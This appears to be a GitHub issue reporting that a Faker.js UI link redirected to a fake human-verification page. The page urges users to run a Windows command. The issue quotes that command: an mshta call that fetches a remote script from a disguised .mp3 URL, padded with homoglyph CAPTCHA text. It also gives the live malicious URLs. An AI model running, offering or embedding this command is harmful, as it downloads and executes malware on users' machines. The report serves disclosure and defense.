Open
Description
After clicking on the Faker.js UI URL (https://fakerjsui.com/), I was redirected to the following malicious URL:
https://objectstorage.ap-singapore-2.oraclecloud.com/n/ax4mqlu25efi/b/rukeporkalobkt/o/fifthloadcheck-going-almost-there.html
This page prompts the user to verify they are human by clicking a button. However, clicking the button triggers a prompt to open the Windows Run dialog and execute the following command:
mshta https://estral.shop/avenfifthplay.mp3 # # Ⅰ ɑm ոօt ɑ ɾօbօt: ϹΑΡΤCHA Verіfіcаtіοո UID: 181902
This command exploits mshta.exe, a Windows utility often abused by malware, to execute a remote script. The .mp3 file URL is likely a disguise for a malicious payload.
Metadata
Metadata
Assignees
Labels
No labels